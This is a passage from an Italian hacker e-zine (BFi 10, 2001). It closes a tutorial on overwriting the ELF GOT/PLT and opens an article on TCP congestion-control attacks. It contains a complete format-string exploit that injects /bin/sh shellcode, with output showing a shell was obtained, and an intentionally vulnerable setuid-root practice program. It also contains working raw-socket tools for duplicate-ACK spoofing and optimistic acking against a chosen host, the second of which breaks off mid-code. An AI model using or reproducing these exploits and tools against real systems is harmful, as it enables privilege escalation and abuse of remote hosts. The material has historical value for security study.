pdf, li mortacci...): La GOT e' una tabella che puo' essere visualizzata con un bel objdump -R sull'eseguibile e contiene una specie di mappa che collega simboli ad indirizzi e a come accedere a quell'indirizzo. Esempio: ./timer: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE [...] 0804976c R_386_JUMP_SLOT sleep 08049770 R_386_JUMP_SLOT __libc_start_main 08049774 R_386_JUMP_SLOT printf 08049778 R_386_JUMP_SLOT sscanf [...] Il tipo di rilocazione dipende anche da cosa stiamo rilocando, principalmente per le funzioni di libreria si usa soltanto l'R_386_JUMP_SLOT. Prendendo l'esempio: la funzione sscanf ha un'entry nella GOT all'indirizzo 0x08049778. Quando un programma effettua una chiamata alla scanf(), in realta' passa all'indirizzo associato nella jump table (il famoso offset). Questo permette di creare un 'wrapper' per le funzioni. Praticamente: io non chiamo la printf vera e propria, chiamo un indirizzo contenuto nella GOT. Questa funzione (chiamiamola wrapper) prima di tutto carichera' in memoria la parte di libc contenente il codice della printf e poi lo richiamera'. Tutta la serie di procedure di wrapping e la procedura principale per caricare una determinata funzione e' contenuta nella PLT. Questo esempio penso vi chiarara' un pochino le idee (faccio riferimento alla objdumpata di prima): $ gdb ./timer (gdb) x 0x08049778 0x8049778 <_GLOBAL_OFFSET_TABLE_+40>: 0x0804840a /* questo vuol dire che la parte di PLT per il load della sscanf e' all'indirizzo 0x0804840a */ (gdb) disass 0x0804840a Dump of assembler code for function sscanf: 0x8048404 : jmp *0x8049778 0x804840a : push $0x38 0x804840f : jmp 0x8048384 <_init+48> /* presumibilimente, con push $0x38 si indica alla procedura di load della libreria l'indice della funzione desiderata o un suo offset, purtroppo non ho ancora trovato un modo per checkare la veridicita' di questa cosa. All'indirizzo 0x8048384 dovrebbe essere contenuta la procedura di load */ (gdb) disass 0x8048384 Dump of assembler code for function _init: [...] 0x8048382 <_init+46>: ret 0x8048383: Cannot access memory at address 0x8048383 /* per accedere a quella parte di memoria ci vuole un piccolo trucco :P */ (gdb) disass 0x8048384 0x80483aa Dump of assembler code from 0x8048384 to 0x80483aa: 0x8048384 <_init+48>: pushl 0x8049754 0x804838a <_init+54>: jmp *0x8049758 /* Ok, chiamiamo di nuovo qualcosa all'interno della GOT passandogli l'indirizzo della funzione che dovremo poi richiamare ... */ Mi fermo qua poiche' il gdb non e' in grado di caricare le shared library a runtime :( Ok, spero di essere stato chiaro quindi. 1. Vantaggi e svantaggi di queste aree di memoria La GOT e PLT hanno praticamente solo vantaggi :) a) Sono allocate in una zona di memoria mappata sempre sia come writable che come executable. b) Hanno indirizzi _FISSI_ ottenibili senza nemmeno dover runnare il programma (objdump -R). Questi sono i vantaggi 'neutri'. Vediamo quelli *cattivi* :) a) Essendo sempre writable e executable in caso di patch come quelle di Solar Designer per lo stack non eseguibile possiamo tranquillamente deviare l'esecuzione del processo. Inoltre, abbiamo anche un posto dove scrivere lo shellcode ;) (in realta' basterebbero 4 stupidi byte) b) Non overwritando il RET della funzione non necessita che tutta la funzione venga eseguita prima di saltare allo shellcode. Quindi, se ci sono controlli tipo canaries, possiamo tranquillamente evitarli, poiche' l'esecuzione deviera' prima. c) L'uso della GOT/PLT puo' essere combinato perfettamente sia con altre tecniche di overflow. d) Il guess degli indirizzi praticamente sparisce, poiche' gli indirizzi sono fissi. e) NON VI BASTA ANCORA? :)) 2. Esempi pratici Ok, ora che ci siamo fatti un po' di teoria mettiamo mano al nostro compilatore e al nostro vim (VERO CHE USATE VIM?). Cominciamo a fare delle prove un po' forzate... nel senso di provare a sostituire manualmente un qualche indirizzo di funzione. Se avete mai visto gli heap-based buffer overflow il funzionamento e' molto, molto simile al sovrascrivere un puntatore a funzione, solo che sovrascrivi l'indirizzo della funzione stessa :) Il fattore di difficolta' e' soltanto uno... Riassumendo un attimo lo stato della memoria: indirizzo piu' basso: -------------------- 0xbe000000 circa | | | STACK | | | -------------------- 0xc0000000 circa | ................ | | ................ | | ................ | -------------------- 0x08040000 circa | | | TEXT AREA | | | -------------------- 0x08048000 circa | | | GOT/PLT/... | | | -------------------- 0x80490000 circa | | | BSS/HEAP | | | -------------------- ... Come vedete, dall'heap e' impossibile raggiugnere la GOT poiche' e' prima... mentre dallo stack siamo troppo lontani. Il risultato e': come ci arrivo? Bhe... questo lo vedremo nel prossimo paragrafo... modi ce ne sono e l'inventiva umana supera qualsiasi distanza *g* Per ora evitiamo questo problema e proviamo: <-| gotplt/boh.c |-> #include #include food() { printf("ciambelleeee..\n"); } main() { long int *got = 0x11223344; /* per ora lo lasciamo vuoto... */ *got = (long int)food; exit(0); } <-X-> Compiliamo con -ggdb e objdumpiamo... Il nostro scopo ovviamente e' sovrascrivere l'indirizzo della exit nella GOT. $ objdump -R ./boh [...] 08049550 R_386_JUMP_SLOT exit [...] Adesso andiamo a modificare quella variabile: long int *got = 0x08049550; E lanciamo il nostro programma con il gdb... (gdb) break main Breakpoint 1 at 0x8048442: file boh.c, line 13. (gdb) run Starting program: /home/nail/./boh warning: Unable to find dynamic linker breakpoint function. GDB will be unable to debug shared library initializers and track explicitly loaded dynamic code. Breakpoint 1, main () at boh.c:13 13 *got = (long int)food; (gdb) x 0x8049550 0x8049550 <_GLOBAL_OFFSET_TABLE_+28>: 0x08048342 (gdb) disass exit Dump of assembler code for function exit: 0x4003c79c : push %ebp 0x4003c79d : mov %esp,%ebp [...] Come vedete, prima di fare quell'assegnamento, il gdb trasparente chiama la funzione nella PLT e poi disassembla il codice della REALE exit. Ora sostiuiamo l'indirizzo nella GOT. (gdb) n 14 exit(0); (gdb) disass exit Dump of assembler code for function exit: 0x4003c79c : push %ebp 0x4003c79d : mov %esp,%ebp [...] Gia' il gdb e' talmente stupido che non si accorge nemmeno che la GOT e' cambiata... cmq... Se andiamo a vedere nella GOT... (gdb) x 0x8049550 0x8049550 <_GLOBAL_OFFSET_TABLE_+28>: 0x08048420 Bhe direi che ha funzionato :) Proviamo a lanciarlo e basta: $ ./boh ciambelleeee.. Bello, non un crash, tutto liscio, addirittura l'esecuzione del programma avrebbe continuato. Cos'e' successo? Al chiamare della exit(), il programma cerca l'entry per la rilocazione nella GOT, trova la locazione 0x08049560 che corrisponde alla funzione cercata, dopodiche' salta all'indirizzo contenuto in quella locazione. Qui arriva la nostra modifica, che fa saltare il programma ignaro di tutto alla nostra succulenta food(), invece che all'entry nella PLT che gestisce la exit(). 3. Come sfruttarli (semplice ormai) Per chi ha un pochino di familiarita' con gli overflow e' molto semplice sfruttare la GOT per deviare l'esecuzione del programma. Mettiamo il caso che vogliamo deviare la printf, prendiamo la locazione nella GOT dove c'e' l'indirizzo della printf e lo overwritiamo con l'indirizzo dello shellcode. Solitamente l'unico problema sta nell'indirizzare il programma a scrivere li', poiche' si tratta di una zona di memoria precedente l'heap (quindi non si puo' raggiungere dall'heap). Un modo puo' essere utilizzare i format bug, un altro la tecnica del doppio overflow (stack + heap). 4a. Format GOT bugs <-| gotplt/fmt.c |-> #include #include void work(char *s) { printf(s); exit(0); } int main() { char buf[2048]; printf("buf is located @ %p\n", buf); fgets(buf,sizeof(buf), stdin); buf[strlen(buf)-1] = 0; /* strip \n */ work(buf); } <-X-> Come vedete un semplice format buffer overflow non funzionerebbe. Fatta la printf, si modificherebbe il ret della work() che pero' non verrebbe mai raggiunto poiche' la exit() terminerebbe forzatamente il programma. L'unico modo e' sostiuire la exit con il nostro shellcode *g*. Per di piu' abbiamo solo l'imbarazzo della scelta: possiamo usare sia la GOT stessa per infilare lo shellcode, oppure infilarlo in 'buf'. Gia' che abbiamo anche l'indirizzo, possiamo metterlo in buf (hey, e' una cosa educativa, chissenefotte se ci stampa l'address :D). Il nostro buffer deve quindi contenere lo shellcode (magari anche qualche nop ;P) e andare a scrivere nella GOT l'indirizzo dello stesso. Innanzitutto prendiamoci l'indirizzo della exit: $ objdump -R ./fmt DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 080495c4 R_386_GLOB_DAT __gmon_start__ 08049668 R_386_COPY stdin 080495ac R_386_JUMP_SLOT __register_frame_info 080495b0 R_386_JUMP_SLOT __deregister_frame_info 080495b4 R_386_JUMP_SLOT fgets 080495b8 R_386_JUMP_SLOT __libc_start_main 080495bc R_386_JUMP_SLOT printf 080495c0 R_386_JUMP_SLOT exit Ci sono moltissimi modi per fare la format string. Ho scelto quello piu' classico e diffuso: scrivere i bytes in modo incrementale: <\xeb\x08>%$n <\xeb\x08>%$n<\xeb\x08> %$n<\xeb\x08>%$n ADDR e' l'indirizzo a cui dobbiamo andare a scrivere (0x08049590). Per chi non lo sapesse, \xeb\x08 e' un jump relativo 8 byte piu' avanti. Questo permette di andare a prendere in uno qualsiasi dei nop e saltare i %n (a meno che non si sia sfigati assai e si cada direttamente sul %n :)). Utilizzando %num$x si prende il num-esimo elemento nello stack. (Rimando ai paper di scut, lamagra e pb per ulteriori informazioni). $ ./fmt buf is located @ 0xbffff1d8 Per cui diciamo che possiamo scrivere 0xbffff1e2 tranquillamente. Ora cerchiamo la format string all'interno dello stack: $ ./fmt buf is located @ 0xbffff1d8 AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p AAAA0x400137500xbffff9d80x80484c20xbffff7d80x2000xbffff9d80x80484ce0xbffff7d80x bffff7d80x400131540x400002300x401009b40xbffffa140x2(nil)0x400013100x2c80x414141 41 Per cui distanza = 18. (infatti: buf is located @ 0xbffff1d8 AAAA%18$p AAAA0x41414141) A questo punto abbiamo tutti i dati per costruire il nostro exploit. <-| gotplt/got.c |-> #include #include #include char linuxsc[] = /* just aleph1's old shellcode (linux x86) */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0" "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8" "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; int num(int n) { if(n < 10) return 1; if(n < 100) return 2; if(n < 1000) return 3; } int main(int argc, char **argv) { char a[256],b[256],c[256],d[400], buf[1024]; long int what, where; int what0, what1, what2, what3, dist; bzero(a, sizeof(a)); bzero(b, sizeof(b)); bzero(c, sizeof(c)); bzero(d, sizeof(d)); bzero(buf, sizeof(buf)); if(argc != 4) { printf("Usage: %s \n",argv[0]); exit(0); } /* recuperiamo i nostri indirizzi */ /* what e' cosa va scritto, where dove :) */ sscanf(argv[1], "%lx", &what); sscanf(argv[2], "%lx", &where); dist = atoi(argv[3]); /* dividiamo l'indirizzo */ what0 = (what & 0xff); what1 = (what >> 8) & 0xff; what2 = (what >> 16) & 0xff; what3 = (what >> 24) & 0xff; /* riempiamo un buffer per ogni byte da scrivere */ memset(a, '\x90',what0 - 2 - 16); sprintf(a+strlen(a), "\xeb\x08%%%d$n", dist); memset(b, '\x90',what1 - what0 - 2); sprintf(b+strlen(b), "\xeb\x08%%%d$n", dist+1); memset(c, '\x90',what2 - what1 - 2); sprintf(c+strlen(c), "\xeb\x08%%%d$n", dist+2); memset(d, '\x90',0x100 + what3 - what2 - 2); sprintf(d+strlen(d), "\xeb%c%%%d$n", num(dist)+3, dist+3); /* questo e' difficile :) il salto dev'essere preciso in modo da beccare in pieno lo shellcode. si poteva anche semplicemente mettere ancora qualche NOP ma odio le cose semplici :P */ /* inseriamo i 4 indirizzi */ *(long int *)buf = where; *(long int *)(buf+4) = where+1; *(long int *)(buf+8) = where+2; *(long int *)(buf+12)= where+3; /* tutto il resto e lo shellcode */ sprintf(buf+16, "%s%s%s%s%s", a,b,c,d,linuxsc); /* printiamo */ printf("%s\n", buf); return 0; } <-X-> $ (./got 0xbffff223 0x080495c0 18 ; cat - ) | ./fmt buf is located @ 0xbffff1d8 id uid=1000(nail) gid=100(users) groups=100(users),3(sys) whoooo ooooooooooooooooo :) Risultato: la exit() e' diventata il nostro shellcode :D 4b. Doppio overflow (stack+got) Questo e' un metodo un po' particolare... anzi penso che piu' che un metodo sia un trucchetto molto carino. Infatti per essere attuato richiede ben precise condizioni. In poche parole, si tratta di overwritare un puntatore nello stack in modo che una successiva lettura porti a scrivere nella GOT. Esempio: char *msg; char buf[256]; [...] msg = malloc(2048); strcpy(buf, argv[1]); fgets(msg, 2048, stdin); Con la strcpy possiamo sovrascrivere l'indirizzo di msg con quello che ci serve (l'indirizzo a cui dovremmo scrivere all'interno della GOT). Con la fgets poi inseriremo nella GOT tutto quello che ci serve. Ovviamente perche' tutto cio' accada bisogna che: a) il puntatore sia raggiungibile nello stack dal primo buffer; b) il puntatore non venga modificato tra lo stack overflow e la scrittura all'interno della GOT (se la malloc fosse stata dopo la strcpy sarebbe stato impossibile); c) il puntatore sia ovviamente a nostra disposizione per inserire dati. Di questo metodo non faro' un esempio, lo lascio fare a voi *g*. Qui sotto potete trovare un programma abbastanza semplice su cui fare esercizio. E ricordate, 'exploiting is an art'. Ci sono milioni di modi di arrivare allo stesso risultato, sta a voi scegliere e, ovviamente, riuscirci :) Salud :) Nail <-| gotplt/proggie.c |-> /* ovviamente: # gcc -o proggie proggie.c -lcrypt # chown root ./proggie # chmod 4755 ./proggie # su - user $ vi exploit.c */ #include #include #include #include #include #include char * scheck(char *u) { struct spwd *s; s = getspnam(u); if(!s) return NULL; return s->sp_pwdp; } int check(char *u, char *pwd) { struct passwd *p; char *cpwd; p = getpwnam(u); if(!p) return 0; if(strlen(p->pw_passwd)==1) p->pw_passwd = scheck(u); if(!p->pw_passwd) return 0; cpwd = (char *)crypt(pwd, p->pw_passwd); if(strcmp(cpwd, p->pw_passwd)) return 0; p = getpwnam("nobody"); return p->pw_uid; } main() { long int count = 0; int id; char *passwd = NULL; char prompt[200]; char user[256]; printf("Insert your password length: "); fflush(stdout); fgets(user, sizeof(user), stdin); user[strlen(user)-1] = 0; count = atoi(user)+2; /* to get \n and \0 */ passwd = (char *)malloc(count+1); printf("Insert your username: "); fflush(stdout); fgets(user, sizeof(user), stdin); user[strlen(user)-1] = 0; sprintf(prompt, "Insert password for localhost:%s", user); printf("%s: ", prompt); if(count > 16) { printf("Your password is too long.\n"); exit(0); } fgets(passwd, count, stdin); passwd[strlen(passwd)-1] = 0; if((id = check(user, passwd))) { printf("You are logged in!!!\n"); setuid(id); system("/bin/sh -i"); exit(0); } else printf("Error.\n"); } <-X-> ============================================================================== --------------------------------[ EOF 7/18 ]--------------------------------- ============================================================================== BFi-10/BFi10-080100644000175000017500000007512107355704712012644 0ustar smastersmaster============================================================================== -----------[ BFi numero 10, anno 4 - 30/09/2001 - file 8 di 18 ]-------------- ============================================================================== -[ HACKiNG ]------------------------------------------------------------------ ---[ TCP C0NGESTi0N C0NTR0L E DiNT0RNi -----[ vecna keyword: tcp congestion, netfilter module, congestion attack, congestione tcp -- P R E F A Z I O N E -- nel 2000 dei tizi descrissero un attacco un po' particolare: questo attacco era finalizzato ad incrementare la velocita` di download di un host che invia i dati. e` spiegato dettagliatamente nel documento intitolato: "TCP Congestion Control with a Misbehaving Receiver" di Stefan Savage, Neal Cardwell, David Wetherall e Tom Anderson reperibile a http://www.cs.washington.edu/homes/savage/papers/CCR99.pdf il doc xo` si conclude con un paio di preoccupanti paragrafi che dicono: 1) i sistemi operativi vulnerabili ai 3 attacchi sono praticamente TUTTI tranne per il primo attacco che puo` essere evitato (e linux 2.2 gia` e` fixato come molti altri SO ormai...); 2) non e` possibile scrivere patch xke` non e` un bug di implementazione, ma e` intrinseco del protocollo TCP e del suo controllo della congestione, per controllarlo bisognerebbe aggiungere un campo nell'header tcp (e suggeriscono come utilizzarlo) dopo questo periodo cmq nessuno ne parla e non appare niente, ne` nei ChangeLogs ne` nei commenti dei sorgenti dei kernel ne` da altre parti: si tratta di vulnerabilita` ancora presenti nei nostri kernel :) -- I N T R O D U Z I O N E -- supponiamo che client.foo.com si colleghi a www.mp3.gov e inizi il download di un file: [un po` dopo il 3 way handshake...] 05:03:19.365419 www.mp3.gov.www > client.foo.com.2761: P 21721:23169(1448) ack 333 win 32120 (DF) 05:03:19.365998 client.foo.com.2761 > www.mp3.gov.www: . ack 23169 win 30408 (DF) 05:03:19.655411 www.mp3.gov.www > client.foo.com.2761: P 23169:24617(1448) ack 333 win 32120 (DF) 05:03:19.655996 client.foo.com.2761 > www.mp3.com.www: . ack 24617 win 30408 (DF) [...] cosa succede? il server invia un pacchetto con dei dati di una certa grandezza (la size del pacchetto la vediamo tra parentesi, in questo caso sono entrambi 1448), prima della size vediamo l'ack_seq, ovvero l'acknowledge sequence number, un campo di 32 bit che sta nell'header tcp contenente un numero, questo numero e` la base in modo che l'altro host, per notificare la ricezione del pacchetto, risponda con un ack con un ack_seq pari a quello contenuto nel pacchetto con i dati piu` il numero di dati; li` vedete xo`: 21721:23169 che e` una convezione di tcpdump(8) per indicare che questo pacchetto ha ack_seq di 21721, ma visto che e` grosso 1448 byte ci si aspetta una ack di risposta con ack_seq settato a 21721+1448=23169. (attenzione se fate parser di rete per test, bisogna convertire questi valori con htonl(3) e ntosl(3)) mi pare scontato che i dati viaggino in pacchetti con flag PUSH settato (come fa capire la lettera 'P' nella riga di tcpdump) e che i pacchetti che chiamo ack abbiano il flag ACK settato. -- E L A C O N G E S T I O N E ? -- (rapido, ci sono le rfc) ci sono alcune variabili locali di vario genere che interagiscono con gli algortimi di congestione, sono: SMSS: Sender Maximum Segment Size, quantita` massima di dati inviabile (escluso dagli header ip/ip options/tcp, solo i dati), dipendente dall'MTU (Maximal Tranfer Unit) che a sua volta dipende dal tipo di interfaccia. RMSS: Recevider Maximum Segment Size, vedi sopra. RWND: Receiver Window, valore del campo window dell'header tcp ricevuto per ultimo. CWND: Congestion Window, valore che limita la grandezza di dati inviabili in un solo pacchetto. durante una connessione iniziata ogni volta che un pacchetto viene notificato con un ACK la grandezza del pacchetto successivo puo` aumentare in relazione alla RWND e alla CWND, e puo` diminuire ogni qualvolta venga notificata una perdita (con un icmp di errore o perche` l'attesa dell'ACK raggiunge un timeout che causa il riinvio del pacchetto). a questo punto sembrerebbe che la velocita` del download dipenda esclusivamente dalla grandezza della window, ma non e` *solo* questo, all'inizio di un trasferimento si segue un algoritmo chiamato di "partenza lenta" ovvero, prima di raggiungere la stabilita` della connessione, non solo la window size viene aumentata, ma il numero di pacchetti inviati raddoppia ogni volta finche` non si stabilizza ai livelli ottimali. gli attacchi spiegati vengono portati durante la partenza lenta per aver risultati migliori, ma anche durante la connessione stabilizzata si notano migliorie; i test che ho fatto sono stati effettuati durante la connessione gia` iniziata. come toccare con mano? /usr/src/linux/include/net/sock.h: line 243 of 1310 [18%] trovate la struct tcp_opt che contiene TUTTO, tutte le variabili indicate, stati, timeout, puntatori a vita morte e miracoli della connessione... in /usr/src/linux/include/net/tcp_ecn.h e tcp.h ci sono tutte le macro alle funzioni del kernel che lavorano sulla tcp_opt, quindi anche parecchie inerenti alla congestione. -- F U N Z I O N A M E N T O D E G L I A T T A C C H I -- (nelle descrizioni saro` abbastanza superficiale visto che c'e` sia quel doc, sia la traduzione in italiano fatta da antirez su un numero di Linux&c.) come detto, l'rfc2581 indica tra le altre cose: "durante la partenza lenta, si incrementa la congestion window size in relazione al numero di ack ricevuti", quindi gli attacchi mireranno a far ricevere un numero di ack superiore a quelli classici in modo da incrementare il download. la parte di codice vulnerabile non e` altro che nelle routine a basso livello di connect() send*() write() read() applicate a socket TCP, il kernel gestisce la velocita` di spedizione e la grandezza dei pacchetti, essa aumenta in relazione agli algo di congestione, direttamente dipendente dal numero di ACKs ricevuti e diminuisce nel caso qualche pacchetto vada perso ( = l'ack atteso vada in timeout) o venga notificata la congestione in uno dei 3 sistemi che dopo vedremo. a) ack division semplicemente anziche` notificare il ricevimento di tutti i 1448 byte con un ack solo uso + di un ack per notificarlo, ovvero...: se ho ricevuto i dati con ack_seq a 21721, potro` notificarlo prima con 21722 poi con 21723 poi con 21823 e poi con 23169, ovvero, prima ho notificato la ricezione di 1 byte, poi di un altro, poi di 100, e poi di quelli che rimanevano... questa pratica non e` prevista nell'rfc, ma non e` sbagliata, il numero di ACKs ricevuto sara` superiore e l'incremento della CWND sara` notevole. per scrivere un sw che svolga quest'attacco sono possibili 2 metodi: 1) pacciare il kernel nelle routine di basso livello per un notifica divisa e stop, la + pulita che si puo` fare, solo che bisogna lavorare con funzioni che non hanno simboli esportati e puo` non essere semplicissimo; le parti di codice relative per linux 2.4 sono in net/ipv4/tcp_output.c tra i src del kernel; 2) lavorare a datalink layer come visto e strarivisto su phrack e su BFi, o manipolando uno dei layer di netfilter (linux 2.4) o per BSD come spiegato dal buon pIG creando una chain di mbuf contenenti gli ACKs intermenti e attaccandole nella queue prima della notifica completa. X) purtroppo non si puo` lavorare in userspace come invece si puo` fare nel caso degli altri 2 attacchi perche` bisogna necessariamente inserirsi prima dell'ack che notifica tutto il pacchetto, e si puo` fare solo in kernelspace. b) dup ack spoofing come gia` detto quando numerose volte (spesso quando si parlava di shell e canali di comunicazione occulti che con grande stupore anche SANS riporta: http://www.s0ftpj.org/docs/covert_shells.htm :) il protocollo layer 3 alla base di tutto e` l'IP, connectionless, con problemi ad esso legati... la possibilita` di essere perso, di essere duplicato, di essere veloce, di non essere legato a una sequenza ecc... toh, c'e` scritto "duplicato" :) questo significa che e` possibile e non difficilmente verificabile che uno degli ACK che invio come riscontro venga duplicato da un router intermedio, ma come detto da rfc2581 "in relazione al numero di ack ricevuti aumenta la velocita` in fase di partenza lenta" quindi se noi piazziamo un programmino che gira in userspace e quando vede un ack passare lo riinvia un certo numero di volte... non c'e` nessun male... e il download aumenta :) <-| congestion/ldaa.c |-> #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include extern int errno; static struct sockaddr_in sin; static int ss; void send_dupack(void *, unsigned char); #define MAS 128 /* Max Ack Size */ int main(int argc, char **argv) { struct ifreq ifr; /* interface query struct */ int sfd, nt, nd, off, hdr =1; /* socket, number time to apply dup, * number of dup, datalink offset */ unsigned int daddr; /* dest addr to check */ unsigned short port; /* dest port to check */ printf( " ldaa - lamer dup ack attacker - by vecna@s0ftpj.org\n"); if(argc != 6) { fprintf(stderr, " usage: %s host port iface n.dup n.times\n" \ " %s:\tis ldaa this program ...\n" \ " host:\t\thost to attack, only IP " \ "addess accepted, not implemented resolv\n" \ " port:\t\tdestination port to attack\n" \ " iface:\t\tinterface used for reach host\n" \ " n.dup:\t\tnumber of ack duplication\n" \ " times:\t\tnumber of time to apply duplication\n", argv[0], argv[0] ); err(EINVAL, "no such argument"); } memset(&ifr, 0, sizeof(struct ifreq)); nt =atoi(argv[5]); nd =atoi(argv[4]); daddr =inet_addr(argv[1]); port =htons(atoi(argv[2])); sin.sin_port =port; sin.sin_addr.s_addr =daddr; sin.sin_family =AF_INET; if((sfd =socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) ==-1) err(errno, "socket on datalink layer"); if((ss =socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) ==-1) err(errno, "socket on raw sock layer"); if(setsockopt(ss, IPPROTO_IP, IP_HDRINCL, &hdr, sizeof(hdr)) ==-1) err(errno, "setsockopt IP_HDRINCL"); strncpy(ifr.ifr_name, argv[3], sizeof(ifr.ifr_name)); if(ioctl(sfd, SIOCGIFHWADDR, &ifr) == -1) err(errno, "ioctl SIOCGIFHWADDR of %s", argv[3]); switch(ifr.ifr_hwaddr.sa_family) { case ARPHRD_ETHER: case ARPHRD_METRICOM: case ARPHRD_EETHER: off =14; break; case ARPHRD_PPP: off =0; break; case ARPHRD_LOOPBACK: off =4; break; default: err(ENODEV, "unknow linktype for device %s", argv[3]); } while(nt) { char packet[MAS]; static unsigned int ack_seq; struct iphdr *ip; struct tcphdr *tcp; int nbyte; if((nbyte =read(sfd, &packet, MAS)) ==-1) err(errno, "read on datalink layer"); (char *)ip =(char *)&packet +off; if(ip->protocol != IPPROTO_TCP || ip->daddr !=daddr) continue; (char *)tcp =(char *)ip +sizeof(struct iphdr); if(tcp->dest !=port) continue; if(tcp->ack && !tcp->syn && !tcp->rst && tcp->ack_seq !=ack_seq) { int cnt; printf(" dup seq %u ack %u\n", tcp->seq, tcp->ack_seq); for(cnt =0; cnt !=nd; cnt++) { printf(" cnt %d nd %d nt %d\n", cnt, nd, nt); send_dupack((void *)ip, ntohs(ip->tot_len)); } nt--; ack_seq =tcp->ack_seq; } } exit(EXIT_SUCCESS); } void send_dupack(void *pkt, unsigned char len) { if(sendto(ss, pkt, len, 0x0000, &sin, sizeof(sin)) ==-1) err(errno, "error on sending ack packet"); } <-X-> scenario del funzionamento: apro una dcc con una adsl e mi stabilizzo sui 4.7k di upload, dalla adsl il numero di notifiche aumenta e cosi` pure i k di upload andando fin oltre i 6.2k (poi ho interrotto la dcc). l'aumento della velocita` e` abbastanza poporzionale al numero di ACKs duplicati, qui sotto vedete ldaa all'opera. P.S.: se pubblico i codici di attacco e` anche xke` ho studiato come fixarli. ri-P.S.: ringrazio yawn x tutti i test di congestione che le ho fatto fare :P arkmp:/home/vecna/wrk/my/tcc# ./ldaa ldaa - lamer dup ack attacker - by vecna@s0ftpj.org usage: ./ldaa host port iface n.dup n.times ./ldaa: is ldaa this program ... host: host to attack, only IP addess accepted, not implemented resolv port: destination port to attack iface: interface used to reach host n.dup: number of ack duplication times: number of time to apply duplication ldaa: no such argument: Successo e` un programma che gira in userspace come detto prima, basta avviarlo e poi ci pensera` lui a mettersi a datalink layer, selezionare tutti i pacchetti che sono spediti verso l'host che vogliamo congestionare (il primo argomento) verso il servizio da cui scarichiamo (secondo) che passano attraverso l'interfaccia su cui ascoltiamo (come terzo argomento) che abbiano SOLO il flag ACK settato, in questo caso per un numero di volte pari all'ultimo argomento rispedira` l'ack di turno per un numero di volte pari al penultimo argomento. nei test fatti avevo come parametri finali 2 e 10 e + tardi, visto che aumentava di poco ne e` stato avviato un secondo con 2 20. c) optimistic acking un attacco mui interessante. il receiver deve predirre la grandezza del prossimo pacchetto inviato (relativamente facile) e inviare l'ack di risposta PRIMA che sia stato ricevuto, ma attenzione, deve essere l'ack di un pacchetto gia` inviato (altrimenti un qualunque kernel se riceve una notifica quando un pacchetto non e` ancora stato inviato potrebbe offendersi -> scartare il vostro ack :) gia` inviato, ma non ancora ricevuto: in questo modo noi sembreremo solo un server rapidissimo che risponde in modo quasi immediato. (nota sull'implementazione) anche questo codice (oaa) gira in userspace, anzi, e` ottenuto modificando ldaa, e puo` mandare un numero di ACKs predetti dopo aver "guessato" la grandezza del pacchetto sperando sia di azzeccare la size, sia che il pacchetto sia gia` stato inviato, sia che il pacchetto arrivi xke` se arriva una notifica esatta il pacchetto non puo` + essere ritrasmesso, e se arriva rovinato o se non arriva e` perso salvo casi in cui il protocollo a layer 5 non consenta ritrasmissioni e resume di sorta. l'oaa (optimistic acking attacker) predice gli ACKs, ma non blocca l'invio degli ACKs normali del kernel, quindi oltre che a rispondere decisamente prima (e questo secondo test ha dato performance nettamente + potenti di ldaa!) avremo anche un duplicazione per ogni ack da noi mandato relativo a un pacchetto gia` inviato. c'e` da dire che se si invia l'ack di un pacchetto e a voi non arriva o arriva rovinato ecc... l'avete perso x sempre, anche se nel doc indica come in alcuni casi, alcuni protocolli di layer 5 consentano di resumare una trasmissione o di farsi riinviare solo alcune parti di dato. <-| congestion/oaa.c |-> #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include extern int errno; static struct sockaddr_in sin; static unsigned int l_ack; static int ss, ns; unsigned short sum(unsigned short *, int); void ssoa(void *, struct tcphdr *, size_t, int); #define MAS 128 /* Max Ack Size */ int main(int argc, char **argv) { struct ifreq ifr; /* interface query struct */ int sfd, off, wa, hdr =1; /* socket, number time to apply dup, * number of dup, datalink offset */ unsigned int daddr; /* dest addr to check */ unsigned short port; /* dest port to check */ printf(" optimistic acking attacker - by vecna@s0ftpj.org\n\n"); if(argc != 6) { fprintf(stderr, " usage: %s host port iface n.spoof n.wait\n" \ " host:\thost to attack, only IP" \ " address accepted, not implemented resolv\n" \ " port:\tdestination port to attack\n" \ " iface:\tinterface used for reach host\n" \ " n.add:\tnumber of ack to spoof\n" \ " w.ack:\tnumber of ack to ignore before" \ " guess size\n", argv[0]); err(EINVAL, "no such argument"); } memset(&ifr, 0, sizeof(struct ifreq)); daddr =inet_addr(argv[1]); port =htons(atoi(argv[2])); ns =atoi(argv[4]); wa =atoi(argv[5]); sin.sin_port =port; sin.sin_addr.s_addr =daddr; sin.sin_family =AF_INET; if((sfd =socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) ==-1) err(errno, "socket on datalink layer"); if((ss =socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) ==-1) err(errno, "socket on raw sock layer"); if(setsockopt(ss, IPPROTO_IP, IP_HDRINCL, &hdr, sizeof(hdr)) ==-1) err(errno, "setsockopt IP_HDRINCL"); strncpy(ifr.ifr_name, argv[3], sizeof(ifr.ifr_name)); if(ioctl(sfd, SIOCGIFHWADDR, &ifr) == -1) err(errno, "ioctl SIOCGIFHWADDR of %s", argv[3]); switch(ifr.ifr_hwaddr.sa_family) { case ARPHRD_ETHER: case ARPHRD_METRICOM: case ARPHRD_EETHER: off =14; break; case ARPHRD_PPP: off =0; break; case ARPHRD_LOOPBACK: off =4; break; default: err(ENODEV, "unknow linktype for device %s", argv[3]); } printf(" reading packet len...\n"); while(1) { char packet[MAS]; struct iphdr *ip; struct tcphdr *tcp; static int inc, i; int nbyte; if((nbyte =read(sfd, &packet, MAS)) ==-1) err(errno, "read on datalink layer"); (char *)ip =(char *)&packet +off; if(ip->protocol !=IPPROTO_TCP || ip->daddr !=daddr) continue; (char *)tcp =(char *)ip +sizeof(struct iphdr); if(tcp->dest !=port) continue; if(tcp->ack && !tcp->syn && !tcp->rst) { int chk =ntohl(tcp->ack_seq) -ntohl(l_ack); if(!l_ack) { l_ack =tcp->ack_seq; continue; } 